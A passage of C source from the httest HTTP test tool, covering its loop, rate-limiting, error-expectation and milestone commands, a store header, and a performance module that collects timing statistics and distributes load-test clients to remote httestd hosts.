(strncmp(argv[0], "FOREVER", 7) == 0) { loop = -1; } else { loop = apr_atoi64(argv[0]); } if (argv[1] != NULL) { if (strcmp(argv[1], "[ms]") == 0) { /* this are miliseconds we wanna loop */ /* apr_time_from_msec available in apr 1.4.x */ duration = 1000 * loop; loop = -1; var = argv[2]; } else { var = argv[1]; } } else { var = NULL; } if (var && strchr(var, '=')) { var = apr_strtok(var, "=", &last); initial = apr_atoi64(last); } /* create a new worker body */ if ((status = worker_body(&body, worker)) != APR_SUCCESS) { return status; } /* loop */ start = apr_time_now(); for (i = 0; loop == -1 || i < loop; i++) { /* interpret */ if (var) { worker_var_set(body, var, apr_itoa(ptmp, i + initial)); } if ((status = body->interpret(body, worker, NULL)) != APR_SUCCESS) { break; } if (duration != 0 && apr_time_now() - start >= duration) { break; } } /* special case to break the loop */ if (status == -1) { status = APR_SUCCESS; } if (status != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Error in loop with count = %d", i); } worker_log(worker, LOG_CMD, "_END"); worker_body_end(body, worker); return status; } /** * FOR command * * @param self IN command * @param worker IN thread data object * @param data IN "*" * * @return APR_SUCCESS */ apr_status_t command_FOR(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { apr_status_t status; worker_t *body; char *copy; char *last; char *var; char *list; char *cur; char **argv; COMMAND_NEED_ARG(" \"*\""); my_tokenize_to_argv(copy, &argv, ptmp, 0); var = argv[0]; list = argv[1]; /* create a new worker body */ if ((status = worker_body(&body, worker)) != APR_SUCCESS) { return status; } /* for */ cur = apr_strtok(list, " \t\n", &last); while (cur) { /* interpret */ worker_var_set(body, var, cur); if ((status = body->interpret(body, worker, NULL)) != APR_SUCCESS) { break; } cur = apr_strtok(NULL, " \t\n", &last); } /* special case to break the loop */ if (status == -1) { status = APR_SUCCESS; } worker_log(worker, LOG_CMD, "_END"); worker_body_end(body, worker); return status; } /** * BPS command * * @param self IN command * @param worker IN thread data object * @param data IN header name (spaces are possible) * * @return APR_SUCCESS */ apr_status_t command_BPS(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { apr_status_t status; worker_t *body; char *copy; int bps; int duration; char **argv; apr_time_t init; apr_time_t start; apr_time_t cur; COMMAND_NEED_ARG("Byte/s and duration time in second"); my_tokenize_to_argv(copy, &argv, ptmp, 0); bps = apr_atoi64(argv[0]); duration = apr_atoi64(argv[1]); /* create a new worker body */ if ((status = worker_body(&body, worker)) != APR_SUCCESS) { return status; } /* loop */ init = apr_time_now(); for (;;) { /* interpret */ start = apr_time_now(); if ((status = body->interpret(body, worker, NULL)) != APR_SUCCESS) { break; } cur = apr_time_now(); if (bps > 0) { /* avoid division by zero, do happen on windows */ while ((cur - start == 0)) { /* wait 1 ms */ apr_sleep(1000); cur = apr_time_now(); } /* wait loop until we are below the max bps */ while (((body->sent * APR_USEC_PER_SEC) / (cur - start)) > bps ) { /* wait 1 ms */ apr_sleep(1000); cur = apr_time_now(); } } /* reset sent bytes */ body->sent = 0; /* test termination */ if (apr_time_sec(cur - init) >= duration) { goto end; } } end: worker_log(worker, LOG_CMD, "_END"); worker_body_end(body, worker); return status; } /** * RPS command * * @param self IN command * @param worker IN thread data object * @param data IN header name (spaces are possible) * * @return APR_SUCCESS */ apr_status_t command_RPS(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { apr_status_t status; worker_t *body; char *copy; char **argv; int rps; float ideal_req_time; int duration; apr_time_t init; apr_time_t cur_sec; apr_time_t cur; apr_time_t elapsed; COMMAND_NEED_ARG("Byte/s and duration time in second"); my_tokenize_to_argv(copy, &argv, ptmp, 0); rps = apr_atoi64(argv[0]); ideal_req_time = 1.0 / rps; duration = apr_atoi64(argv[1]); /* create a new worker body */ if ((status = worker_body(&body, worker)) != APR_SUCCESS) { return status; } /* loop */ cur_sec = init = apr_time_now(); for (;;) { /* interpret */ if ((status = body->interpret(body, worker, NULL)) != APR_SUCCESS) { break; } cur = apr_time_now(); if (rps > 0) { /* wait until we are below the max rps */ apr_time_t ideal_time = (ideal_req_time * body->req_cnt) * APR_USEC_PER_SEC; apr_time_t act_time = cur - cur_sec; while (act_time < ideal_time) { apr_sleep(ideal_time - act_time); cur = apr_time_now(); act_time = cur - cur_sec; } /* reset sent requests */ elapsed = cur - cur_sec - APR_USEC_PER_SEC; if (elapsed > 0) { body->req_cnt = 0; cur_sec = cur - elapsed; } } /* test termination */ if (apr_time_sec(cur - init) >= duration) { goto end; } } end: worker_log(worker, LOG_CMD, "_END"); worker_body_end(body, worker); return status; } /** * ERROR command * * @param self IN command * @param worker IN thread data object * @param data IN expected errors * * @return APR_SUCCESS */ apr_status_t command_ERROR(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { apr_status_t status; worker_t *body; char *copy; char **argv; char *status_str; htt_regex_t *compiled; const char *err; int off; COMMAND_NEED_ARG(""); if ((status = my_tokenize_to_argv(copy, &argv, ptmp, 0)) == APR_SUCCESS) { if (!argv[0]) { worker_log(worker, LOG_ERR, "No argument found, need an htt_regex for expected errof."); return APR_EINVAL; } } else { worker_log(worker, LOG_ERR, "Could not read argument"); return status; } /* store value by his index */ if (!(compiled = htt_regexcomp(ptmp, argv[0], &err, &off))) { worker_log(worker, LOG_ERR, "ERROR condition compile failed: \"%s\"", argv[0]); return APR_EINVAL; } /* create a new worker body */ if ((status = worker_body(&body, worker)) != APR_SUCCESS) { return status; } /* interpret */ status = body->interpret(body, worker, NULL); status_str = my_status_str(ptmp, status); if (htt_regexec(compiled, status_str, strlen(status_str), 0, NULL, 0) != 0) { worker_log(worker, LOG_ERR, "Did expect error \"%s\" but got \"%s\"", argv[0], status_str); return APR_EINVAL; } else { status = APR_SUCCESS; } worker_log(worker, LOG_CMD, "_END"); if (worker->socket) { worker->socket->config = apr_hash_make(worker->pbody); } worker_body_end(body, worker); return status; } /** * SOCKET command * * @param self IN command * @param worker IN thread data object * @param data IN unused * * @return APR_SUCCESS */ apr_status_t command_SOCKET(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { apr_status_t status; worker_t *body; COMMAND_NO_ARG; if (!worker->socket) { worker_log(worker, LOG_ERR, "Call _RES or REQ before you spawn a long life _SOCKET"); return APR_ENOSOCKET; } worker_flush(worker, ptmp); /* create a new worker body */ if ((status = worker_body(&body, worker)) != APR_SUCCESS) { return status; } status = body->interpret(body, worker, NULL); worker_log(worker, LOG_CMD, "_END"); worker_body_end(body, worker); return status; } /** * Handle stored status by command_MILESTONE * @param worker IN worker instance * @return stored status */ static apr_status_t milestone_worker_finally(worker_t *worker) { milestone_t *milestone = module_get_config(worker->config, "_MILESTONE"); if (milestone) { worker_log(worker, LOG_ERR, "milestons: %d; success: %d; failed: %d", milestone->milestones, milestone->milestones - milestone->failures, milestone->failures); return milestone->status; } return APR_SUCCESS; } /** * MILESTONE command * * @param self IN command * @param worker IN thread data object * @param data IN unused * @note: dependency to finally, tests MUST fail if one milestone failed * * @return APR_SUCCESS */ apr_status_t command_MILESTONE(command_t *self, worker_t *worker, char *data, apr_pool_t *ptmp) { apr_status_t status; worker_t *body; char *copy; milestone_t *milestone; COMMAND_NEED_ARG(""); worker_log(worker, LOG_NONE, "Milestone \"%s\"", copy); worker_flush(worker, ptmp); /* create a new worker body */ if ((status = worker_body(&body, worker)) != APR_SUCCESS) { return status; } status = body->interpret(body, worker, NULL); worker_log(worker, LOG_CMD, "_END"); worker_body_end(body, worker); /* store status but do not evaluate it */ milestone = module_get_config(worker->config, "_MILESTONE"); if (!milestone) { milestone = apr_pcalloc(worker->pbody, sizeof(*milestone)); module_set_config(worker->config, apr_pstrdup(worker->pbody, "_MILESTONE"), milestone); } if (status != APR_SUCCESS) { ++milestone->failures; } ++milestone->milestones; if (status != APR_SUCCESS) { worker_log_buf(worker, LOG_NONE, '=', "failed", 0); milestone->status = APR_EGENERAL; } else { worker_log_buf(worker, LOG_NONE, '=', "success", 0); } return APR_SUCCESS; } /** * Register hooks for body commands if needed * @param global IN global instance singelton * @return APR_SUCCESS */ apr_status_t body_init(global_t *global) { htt_hook_worker_finally(milestone_worker_finally, NULL, NULL, 0); return APR_SUCCESS; } httest-2.4.8/src/store.h0000664000175100017510000000251112203674076012067 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool store. */ #ifndef HTTEST_STORE_H #define HTTEST_STORE_H #include #include typedef struct store_s store_t; store_t *store_make(apr_pool_t *pool); const char *store_get(store_t *store, const char *name); char *store_get_copy(store_t *store, apr_pool_t *pool, const char *name); void store_set(store_t *store, const char *name, const char *value); void store_unset(store_t *store, const char *name); void store_merge(store_t *store, store_t *other); apr_size_t store_get_size(store_t *store); store_t *store_copy(store_t *store, apr_pool_t *pool); apr_table_t *store_get_table(store_t *store, apr_pool_t *pool); #endif httest-2.4.8/src/perf_module.c0000664000175100017510000010032112205142236013213 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool skeleton module */ /************************************************************************ * Includes ***********************************************************************/ #include "module.h" #include "tcp_module.h" /************************************************************************ * Definitions ***********************************************************************/ typedef struct perf_time_s { apr_time_t cur; apr_time_t min; apr_time_t avr; apr_time_t max; apr_time_t total; } perf_time_t; typedef struct perf_count_s { int reqs; int conns; int less[10]; int status[600]; } perf_count_t; typedef struct perf_s { perf_count_t count; apr_size_t recv_bytes; apr_size_t sent_bytes; perf_time_t conn_time; perf_time_t recv_time; perf_time_t sent_time; apr_time_t sent_time_total; } perf_t; typedef struct perf_wconf_s { apr_time_t WAIT_time; int cur_status; const char *request_line; perf_t stat; } perf_wconf_t; typedef struct perf_host_s { char *name; int clients; int state; #define PERF_HOST_NONE 0 #define PERF_HOST_CONNECTED 1 #define PERF_HOST_ERROR 2 apr_thread_mutex_t *sync; socket_t *socket; worker_t *worker; int flags; #define PERF_HOST_FLAGS_NONE 0 #define PERF_HOST_FLAGS_GLOBALS_DIST 1 } perf_host_t; typedef struct perf_rampup_s { apr_size_t cur_clients; apr_size_t clients; apr_time_t interval; } perf_rampup_t; typedef struct perf_gconf_threads_s { #define PERF_GCONF_FLAGS_NONE 0 #define PERF_GCONF_FLAGS_DIST 1 #define PERF_GCONF_FLAGS_RAMPUP 2 perf_rampup_t rampup; apr_hash_t *my_threads; apr_hash_t *host_and_ports; apr_hash_index_t *cur_host_i; perf_host_t *cur_host; } perf_gconf_threads_t; typedef struct perf_gconf_s { int on; #define PERF_GCONF_OFF 0 #define PERF_GCONF_ON 1 #define PERF_GCONF_LOG 2 int flags; perf_t stat; apr_file_t *log_file; perf_gconf_threads_t clients; } perf_gconf_t; /************************************************************************ * Globals ***********************************************************************/ const char * perf_module = "perf_module"; apr_time_t start_time; /************************************************************************ * Local ***********************************************************************/ /** * Get stat config from global * * @param global IN * @return stat config */ static perf_gconf_t *perf_get_global_config(global_t *global) { perf_gconf_t *config = module_get_config(global->config, perf_module); if (config == NULL) { config = apr_pcalloc(global->pool, sizeof(*config)); config->clients.host_and_ports = apr_hash_make(global->pool); config->clients.my_threads = apr_hash_make(global->pool); module_set_config(global->config, apr_pstrdup(global->pool, perf_module), config); } return config; } /** * Get stat config from worker * * @param worker IN worker * @return stat config */ static perf_wconf_t *perf_get_worker_config(worker_t *worker) { perf_wconf_t *config = module_get_config(worker->config, perf_module); if (config == NULL) { config = apr_pcalloc(worker->pbody, sizeof(*config)); module_set_config(worker->config, apr_pstrdup(worker->pbody, perf_module), config); } return config; } /** * Is called after line is sent * @param worker IN callee * @param line IN line sent * @return APR_SUCCESS */ static apr_status_t perf_line_sent(worker_t *worker, line_t *line) { global_t *global = worker->global; perf_wconf_t *wconf = perf_get_worker_config(worker); perf_gconf_t *gconf = perf_get_global_config(global); if (gconf->on & PERF_GCONF_ON && worker->flags & FLAGS_CLIENT) { if (wconf->WAIT_time == 0) { ++wconf->stat.count.reqs; wconf->WAIT_time = apr_time_now(); wconf->request_line = line->buf; } wconf->stat.sent_bytes += line->len; if (strncmp(line->info, "NOCRLF", 6) != 0) { wconf->stat.sent_bytes += 2; } } return APR_SUCCESS; } /** * Is before request receive * @param worker IN callee * @param line IN line sent * @return APR_SUCCESS */ static apr_status_t perf_WAIT_begin(worker_t *worker) { global_t *global = worker->global; perf_wconf_t *wconf = perf_get_worker_config(worker); perf_gconf_t *gconf = perf_get_global_config(global); if (gconf->on & PERF_GCONF_ON && worker->flags & FLAGS_CLIENT) { apr_time_t now = apr_time_now(); apr_time_t duration = now - wconf->WAIT_time; wconf->WAIT_time = now; wconf->stat.sent_time.cur = duration; wconf->stat.sent_time_total += duration; if (duration > wconf->stat.sent_time.max) { wconf->stat.sent_time.max = duration; } if (duration < wconf->stat.sent_time.min || wconf->stat.sent_time.min == 0) { wconf->stat.sent_time.min = duration; } } return APR_SUCCESS; } /** * Get status line length and count 200, 302, 400 and 500 errors * @param worker IN callee * @param line IN received status line * @return APR_SUCCESS */ static apr_status_t perf_read_status_line(worker_t *worker, char *line) { global_t *global = worker->global; perf_wconf_t *wconf = perf_get_worker_config(worker); perf_gconf_t *gconf = perf_get_global_config(global); if (gconf->on & PERF_GCONF_ON && worker->flags & FLAGS_CLIENT) { char *cur; wconf->stat.recv_bytes += strlen(line) + 2; if ((cur = strstr(line, " "))) { int status; ++cur; status = apr_atoi64(cur); ++wconf->stat.count.status[status]; wconf->cur_status = status; } } return APR_SUCCESS; } /** * Get line length * @param worker IN callee * @param line IN received status line * @return APR_SUCCESS */ static apr_status_t perf_read_header(worker_t *worker, char *line) { global_t *global = worker->global; perf_wconf_t *wconf = perf_get_worker_config(worker); perf_gconf_t *gconf = perf_get_global_config(global); if (gconf->on & PERF_GCONF_ON && worker->flags & FLAGS_CLIENT) { wconf->stat.recv_bytes += strlen(line) + 2; } return APR_SUCCESS; } /** * Get buf length * @param worker IN callee * @param line IN received status line * @return APR_SUCCESS */ static apr_status_t perf_read_buf(worker_t *worker, char *buf, apr_size_t len) { global_t *global = worker->global; perf_wconf_t *wconf = perf_get_worker_config(worker); perf_gconf_t *gconf = perf_get_global_config(global); if (gconf->on & PERF_GCONF_ON && worker->flags & FLAGS_CLIENT) { wconf->stat.recv_bytes += len + 2; } return APR_SUCCESS; } /** * Measure response time * @param worker IN callee * @param status IN apr status * @return received status */ static apr_status_t perf_WAIT_end(worker_t *worker, apr_status_t status) { global_t *global = worker->global; perf_wconf_t *wconf = perf_get_worker_config(worker); perf_gconf_t *gconf = perf_get_global_config(global); if (gconf->on & PERF_GCONF_ON && worker->flags & FLAGS_CLIENT) { int i; apr_time_t compare; apr_time_t now = apr_time_now(); apr_time_t duration = now - wconf->WAIT_time; wconf->WAIT_time = 0; wconf->stat.recv_time.cur = duration; wconf->stat.recv_time.total += duration; if (duration > wconf->stat.recv_time.max) { wconf->stat.recv_time.max = duration; } if (duration < wconf->stat.recv_time.min || wconf->stat.recv_time.min == 0) { wconf->stat.recv_time.min = duration; } for (i = 0, compare = 1; i < 10; i++, compare *= 2) { apr_time_t t = apr_time_sec(wconf->stat.sent_time.cur + wconf->stat.recv_time.cur); if (t < compare) { ++wconf->stat.count.less[i]; break; } } } if (gconf->on & PERF_GCONF_LOG && worker->flags & FLAGS_CLIENT) { apr_pool_t *pool; char *date_str; apr_pool_create_unmanaged_ex(&pool, NULL, NULL); date_str = apr_palloc(pool, APR_RFC822_DATE_LEN); apr_rfc822_date(date_str, apr_time_now()); apr_file_printf(gconf->log_file, "[%s] \"%s\" %d %s %"APR_TIME_T_FMT" %"APR_TIME_T_FMT"\n", date_str, wconf->request_line, wconf->cur_status, status == APR_SUCCESS ? "OK" : "FAILED", wconf->stat.sent_time.cur, wconf->stat.recv_time.cur); apr_pool_destroy(pool); } return status; } /** * Start connect timer * @param worker IN callee * @param line IN received status line * @return APR_SUCCESS */ static apr_status_t perf_pre_connect(worker_t *worker) { global_t *global = worker->global; perf_wconf_t *wconf = perf_get_worker_config(worker); perf_gconf_t *gconf = perf_get_global_config(global); if (gconf->on & PERF_GCONF_ON && worker->flags & FLAGS_CLIENT) { wconf->stat.conn_time.cur = apr_time_now(); ++wconf->stat.count.conns; } return APR_SUCCESS; } /** * Stop connect timer and measure connection time * @param worker IN callee * @param line IN received status line * @return APR_SUCCESS */ static apr_status_t perf_post_connect(worker_t *worker) { global_t *global = worker->global; perf_wconf_t *wconf = perf_get_worker_config(worker); perf_gconf_t *gconf = perf_get_global_config(global); if (gconf->on & PERF_GCONF_ON && worker->flags & FLAGS_CLIENT) { apr_time_t duration = apr_time_now() - wconf->stat.conn_time.cur; wconf->stat.conn_time.cur = duration; wconf->stat.conn_time.total += duration; if (duration > wconf->stat.conn_time.max) { wconf->stat.conn_time.max = duration; } if (duration < wconf->stat.conn_time.min || wconf->stat.conn_time.min == 0) { wconf->stat.conn_time.min = duration; } } return APR_SUCCESS; } /** * Collect all data and store it in global * @param worker IN callee * @param line IN received status line * @return APR_SUCCESS */ static apr_status_t perf_worker_finally(worker_t *worker) { perf_wconf_t *wconf = perf_get_worker_config(worker); perf_gconf_t *gconf = perf_get_global_config(worker->global); if (gconf->on & PERF_GCONF_ON && worker->flags & FLAGS_CLIENT) { int i; apr_thread_mutex_lock(worker->mutex); if (wconf->stat.sent_time.max > gconf->stat.sent_time.max) { gconf->stat.sent_time.max = wconf->stat.sent_time.max; } if (wconf->stat.recv_time.max > gconf->stat.recv_time.max) { gconf->stat.recv_time.max = wconf->stat.recv_time.max; } if (wconf->stat.conn_time.max > gconf->stat.conn_time.max) { gconf->stat.conn_time.max = wconf->stat.conn_time.max; } if (wconf->stat.sent_time.min < gconf->stat.sent_time.min || gconf->stat.sent_time.min == 0) { gconf->stat.sent_time.min = wconf->stat.sent_time.min; } if (wconf->stat.recv_time.min < gconf->stat.recv_time.min || gconf->stat.recv_time.min == 0) { gconf->stat.recv_time.min = wconf->stat.recv_time.min; } if (wconf->stat.conn_time.min < gconf->stat.conn_time.min || gconf->stat.conn_time.min == 0) { gconf->stat.conn_time.min = wconf->stat.conn_time.min; } gconf->stat.sent_bytes += wconf->stat.sent_bytes; gconf->stat.recv_bytes += wconf->stat.recv_bytes; gconf->stat.sent_time_total += wconf->stat.sent_time_total; gconf->stat.recv_time.total += wconf->stat.recv_time.total; gconf->stat.conn_time.total += wconf->stat.conn_time.total; gconf->stat.count.reqs += wconf->stat.count.reqs; gconf->stat.count.conns += wconf->stat.count.conns; for (i = 0; i < 10; i++) { gconf->stat.count.less[i] += wconf->stat.count.less[i]; } for (i = 0; i < 600; i++) { gconf->stat.count.status[i] += wconf->stat.count.status[i]; } apr_thread_mutex_unlock(worker->mutex); } return APR_SUCCESS; } /** * Display collected data * @param worker IN callee * @param line IN received status line * @return APR_SUCCESS */ static apr_status_t perf_worker_joined(global_t *global) { perf_gconf_t *gconf = perf_get_global_config(global); if (gconf->on & PERF_GCONF_ON) { int i; apr_time_t time; float seconds; gconf->stat.sent_time.avr = gconf->stat.sent_time_total/gconf->stat.count.reqs; gconf->stat.recv_time.avr = gconf->stat.recv_time.total/gconf->stat.count.reqs; gconf->stat.conn_time.avr = gconf->stat.conn_time.total/gconf->stat.count.conns; fprintf(stdout, "\ntotal reqs: %d\n", gconf->stat.count.reqs); fprintf(stdout, "total conns: %d\n", gconf->stat.count.conns); fprintf(stdout, "send bytes: %"APR_SIZE_T_FMT"\n", gconf->stat.sent_bytes); fprintf(stdout, "received bytes: %"APR_SIZE_T_FMT"\n", gconf->stat.recv_bytes); seconds = (float)(apr_time_now() - start_time)/ APR_USEC_PER_SEC; fprintf(stdout, "test duration: %02f\n", seconds); if (seconds > 0) { fprintf(stdout, "request per second: %02f\n", gconf->stat.count.reqs/seconds); } for (i = 0, time = 1; i < 10; i++, time *= 2) { if (gconf->stat.count.less[i]) { fprintf(stdout, "%d request%s less than %"APR_TIME_T_FMT" seconds\n", gconf->stat.count.less[i], gconf->stat.count.less[i]>1?"s":"", time); } } for (i = 0; i < 600; i++) { if (gconf->stat.count.status[i]) { fprintf(stdout, "status %d: %d\n", i, gconf->stat.count.status[i]); } } fprintf(stdout, "\nconn min: %"APR_TIME_T_FMT" max: %"APR_TIME_T_FMT " avr: %"APR_TIME_T_FMT "\n", gconf->stat.conn_time.min, gconf->stat.conn_time.max, gconf->stat.conn_time.avr); fprintf(stdout, "sent min: %"APR_TIME_T_FMT" max: %"APR_TIME_T_FMT " avr: %"APR_TIME_T_FMT "\n", gconf->stat.sent_time.min, gconf->stat.sent_time.max, gconf->stat.sent_time.avr); fprintf(stdout, "recv min: %"APR_TIME_T_FMT" max: %"APR_TIME_T_FMT " avr: %"APR_TIME_T_FMT "\n", gconf->stat.recv_time.min, gconf->stat.recv_time.max, gconf->stat.recv_time.avr); fflush(stdout); } if (gconf->on & PERF_GCONF_LOG) { apr_file_close(gconf->log_file); } return APR_SUCCESS; } /** * Get cur host from hash * @param gconf IN global config * @param worker IN store worker for cur host * @return cur host */ static perf_host_t *perf_get_cur_host(perf_gconf_t *gconf, worker_t *worker) { void *val = NULL; if (gconf->clients.cur_host_i) { apr_hash_this(gconf->clients.cur_host_i, NULL, NULL, &val); } gconf->clients.cur_host = val; if (gconf->clients.cur_host) { gconf->clients.cur_host->worker = worker; } return val; } /** * Get first remote host from hash * @param global IN global instance * @param worker IN store worker for first host * @return cur host */ static perf_host_t *perf_get_first_host(global_t *global, worker_t *worker) { perf_gconf_t *gconf = perf_get_global_config(global); gconf->clients.cur_host_i = apr_hash_first(global->pool, gconf->clients.host_and_ports); return perf_get_cur_host(gconf, worker); } /** * Get next remote host from hash * @param global IN global instance * @param worker IN store worker for next host * @return cur host */ static perf_host_t *perf_get_next_host(global_t *global, worker_t *worker) { perf_gconf_t *gconf = perf_get_global_config(global); gconf->clients.cur_host_i = apr_hash_next(gconf->clients.cur_host_i); return perf_get_cur_host(gconf, worker); } /** * Serialize to httestd * @param worker IN callee * @param fmt IN format * @param ... IN * @return apr_status_t */ static apr_status_t perf_serialize(perf_host_t *host, char *fmt, ...) { char *tmp; va_list va; apr_pool_t *pool; apr_pool_create_unmanaged_ex(&pool, NULL, NULL); va_start(va, fmt); tmp = apr_pvsprintf(pool, fmt, va); transport_write(host->socket->transport, tmp, strlen(tmp)); va_end(va); apr_pool_destroy(pool); return APR_SUCCESS; } /** * Iterate all variables, modules and blocks for serialization * @param global IN global context * @param host IN remote host * @return APR_SUCCESS */ static apr_status_t perf_serialize_globals(global_t *global, perf_host_t *host) { int i; apr_table_t *vars; apr_table_t *shared; apr_table_entry_t *e; apr_pool_t *ptmp; if (!host->flags & PERF_HOST_FLAGS_GLOBALS_DIST) { apr_pool_create_unmanaged_ex(&ptmp, NULL, NULL); vars = store_get_table(global->vars, ptmp); e = (apr_table_entry_t *) apr_table_elts(vars)->elts; for (i = 0; i < apr_table_elts(vars)->nelts; ++i) { perf_serialize(host, "SET %s=%s\n", e[i].key, e[i].val); } if (global->shared) { shared = store_get_table(global->shared, ptmp); e = (apr_table_entry_t *) apr_table_elts(shared)->elts; for (i = 0; i < apr_table_elts(shared)->nelts; ++i) { perf_serialize(host, "GLOBAL %s=%s\n", e[i].key, e[i].val); } } apr_pool_destroy(ptmp); host->flags |= PERF_HOST_FLAGS_GLOBALS_DIST; } return APR_SUCCESS; } /** * Iterate all lines of client * @param global IN global context * @param host IN remote host * @return APR_SUCCESS */ static apr_status_t perf_serialize_clients(global_t *global, perf_host_t *host) { int i; apr_pool_t *ptmp; apr_table_entry_t *e; if (host->clients > 0) { apr_pool_create_unmanaged_ex(&ptmp, NULL, NULL); perf_serialize(host, "CLIENT %d\n", host->clients); e = (apr_table_entry_t *) apr_table_elts(host->worker->lines)->elts; for (i = 0; i < apr_table_elts(host->worker->lines)->nelts; ++i) { perf_serialize(host, "%s\n", e[i].val); } perf_serialize(host, "END\n"); apr_pool_destroy(ptmp); host->clients = 0; } return APR_SUCCESS; } /** * Iterate all lines of client * @param global IN global context * @param host IN remote host * @return APR_SUCCESS */ static apr_status_t perf_serialize_servers(global_t *global, perf_host_t *host, char *port_info) { int i; apr_pool_t *ptmp; apr_table_entry_t *e; if (host->clients > 0) { apr_pool_create_unmanaged_ex(&ptmp, NULL, NULL); perf_serialize(host, "SERVER %s\n", port_info); e = (apr_table_entry_t *) apr_table_elts(host->worker->lines)->elts; for (i = 0; i < apr_table_elts(host->worker->lines)->nelts; ++i) { perf_serialize(host, "%s\n", e[i].val); } perf_serialize(host, "END\n"); apr_pool_destroy(ptmp); host->clients = 0; } return APR_SUCCESS; } /** * Supervisor thread wait for remote host is done * @param thread IN thread handle * @param selfv IN void pointer to perf host struct * @return NULL */ static void * APR_THREAD_FUNC perf_thread_super(apr_thread_t * thread, void *selfv) { perf_host_t *host = selfv; apr_status_t status; apr_size_t len = 1; char *buf; sockreader_t *sockreader; apr_thread_mutex_lock(host->sync); status = transport_read(host->socket->transport, buf, &len); if ((status = sockreader_new(&sockreader, host->socket->transport, NULL, 0)) == APR_SUCCESS) { status = sockreader_read_line(sockreader, &buf); while (status == APR_SUCCESS) { logger_log(host->worker->logger, LOG_INFO, "[%s]: %s", host->name, buf); status = sockreader_read_line(sockreader, &buf); } worker_log(host->worker, LOG_INFO, "Remote host finished: %d\n", status); } else { worker_log(host->worker, LOG_ERR, "Lost connection to remote host \"%s\"\n", host->name); } apr_thread_mutex_unlock(host->sync); sockreader_destroy(&sockreader); apr_thread_exit(thread, APR_SUCCESS); return NULL; } /** * Cleanup for thread data * @param selfv IN void pointer to perf host struct * @return APR_SUCCESS */ static apr_status_t perf_host_cleanup(void *selfv) { return APR_SUCCESS; } /** * Distribute host to remote host, start a supervisor thread * @param worker IN callee * @param host IN host to distribute to * @param thread OUT thread handle * @return supervisor thread handle */ static apr_status_t perf_distribute_host(worker_t *worker, perf_host_t *host, apr_thread_t **thread) { apr_status_t status; global_t *global = worker->global; apr_pool_t *ptmp; *thread = NULL; apr_pool_create_unmanaged_ex(&ptmp, NULL, NULL); if ((host->state != PERF_HOST_CONNECTED) && (host->state != PERF_HOST_ERROR)) { char *portname; char *hostport = apr_pstrdup(ptmp, host->name); char *hostname = apr_strtok(hostport, ":", &portname); worker_get_socket(worker, hostname, portname); if ((status = tcp_connect(worker, hostname, portname)) != APR_SUCCESS) { host->state = PERF_HOST_ERROR; worker_log(worker, LOG_ERR, "Could not connect to httestd \"%s\" SKIP", host->name); apr_pool_destroy(ptmp); return status; } htt_run_connect(worker); host->state = PERF_HOST_CONNECTED; ++host->clients; host->socket = worker->socket; if ((status = apr_thread_mutex_create(&host->sync, APR_THREAD_MUTEX_DEFAULT, global->pool)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not create supervisor thread sync mutex for remote host"); apr_pool_destroy(ptmp); return status; } apr_thread_mutex_lock(host->sync); if ((status = apr_thread_create(thread, global->tattr, perf_thread_super, host, global->pool)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not create supervisor thread for remote host"); apr_pool_destroy(ptmp); return status; } if ((status = apr_thread_data_set(host, "host", perf_host_cleanup, *thread)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not store remote host to thread"); apr_pool_destroy(ptmp); return status; } } else if (host->state == PERF_HOST_ERROR) { worker_log(worker, LOG_ERR, "Could not connect to httestd \"%s\" SKIP", host->name); apr_pool_destroy(ptmp); return APR_ECONNREFUSED; } else { ++host->clients; } apr_pool_destroy(ptmp); return APR_SUCCESS; } /** * Distribute client worker. * @param worker IN callee * @param func IN concurrent function to call * @param new_thread OUT thread handle of concurrent function * @return APR_ENOTHREAD if there is no schedul policy, else any apr status. */ static apr_status_t perf_client_create(worker_t *worker, apr_thread_start_t func, apr_thread_t **new_thread) { global_t *global = worker->global; perf_gconf_t *gconf = perf_get_global_config(global); apr_status_t status = APR_ENOTHREAD; if (gconf->flags & PERF_GCONF_FLAGS_DIST) { if (!gconf->clients.cur_host_i) { worker_log(worker, LOG_INFO, "Distribute CLIENT to my self"); perf_get_first_host(global, worker); status = APR_ENOTHREAD; } else { /* distribute to remote host */ worker_log(worker, LOG_INFO, "Distribute CLIENT to %s", gconf->clients.cur_host->name); status = perf_distribute_host(worker, gconf->clients.cur_host, new_thread); if (*new_thread) { apr_hash_set(gconf->clients.my_threads, *new_thread, sizeof(*new_thread), new_thread); } if (status != APR_SUCCESS) { status = APR_ENOTHREAD; } perf_get_next_host(global, worker); } } if (gconf->flags & PERF_GCONF_FLAGS_RAMPUP) { if (gconf->clients.rampup.cur_clients >= gconf->clients.rampup.clients) { if (gconf->flags & PERF_GCONF_FLAGS_DIST) { perf_host_t *host = perf_get_cur_host(gconf, worker); if (host && host->state == PERF_HOST_CONNECTED) { perf_serialize_globals(global, host); perf_serialize_clients(global, host); perf_serialize(host, "START\n"); } } apr_sleep(gconf->clients.rampup.interval); gconf->clients.rampup.cur_clients = 0; } else { ++gconf->clients.rampup.cur_clients; } } return status; } /** * Distribute server worker. * @param worker IN callee * @param func IN concurrent function to call * @param new_thread OUT thread handle of concurrent function * @return APR_ENOTHREAD if there is no schedul policy, else any 